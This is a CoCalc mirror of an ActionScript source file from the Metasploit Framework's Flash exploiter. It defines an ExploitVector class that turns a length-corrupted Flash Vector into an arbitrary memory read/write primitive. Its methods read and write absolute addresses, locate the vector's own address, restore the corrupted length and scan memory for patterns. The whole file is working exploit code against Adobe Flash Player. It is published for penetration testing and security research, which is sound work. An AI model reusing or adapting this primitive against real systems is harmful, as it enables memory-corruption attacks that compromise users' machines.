CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/flash_exploiter/ExploitVector.as
Views: 11766
package
{
    public class ExploitVector
    {
        private var uv:Vector.<uint>
        public var original_length:uint 
        
        public function ExploitVector(v:Vector.<uint>, length:uint)
        {
            uv = v
            original_length = length
        }

        public function restore():void
        {
            uv[0x3ffffffe] = original_length
        }

        public function is_ready():Boolean
        {
            if (uv.length > original_length) 
            {
                return true
            }
            return false
        } 
        
        public function at(pos:uint):uint
        {
            return uv[pos]
        }

        // pos: position where a Vector.<Object>[0] lives
        public function set_own_address(pos:uint):void
        {
            uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
        }

        public function read(addr:uint):uint
        {
            var pos:uint = 0

            if (addr > uv[0]) {
                pos = ((addr - uv[0]) / 4) - 2
            } else {
                pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
            }

            return uv[pos]
        }

        public function write(addr:uint, value:uint = 0):void
        {           
            var pos:uint = 0

            if (addr > uv[0]) {
                pos = ((addr - uv[0]) / 4) - 2
            } else {
                pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
            }

            uv[pos] = value
        }

        public function search_pattern(pattern:uint, limit:uint):uint
        {
            for (var i:uint = 0; i < limit/4; i++) {
                if (uv[i] == pattern) {
                    return i
                }
            }
            throw new Error() 
        }
    }
}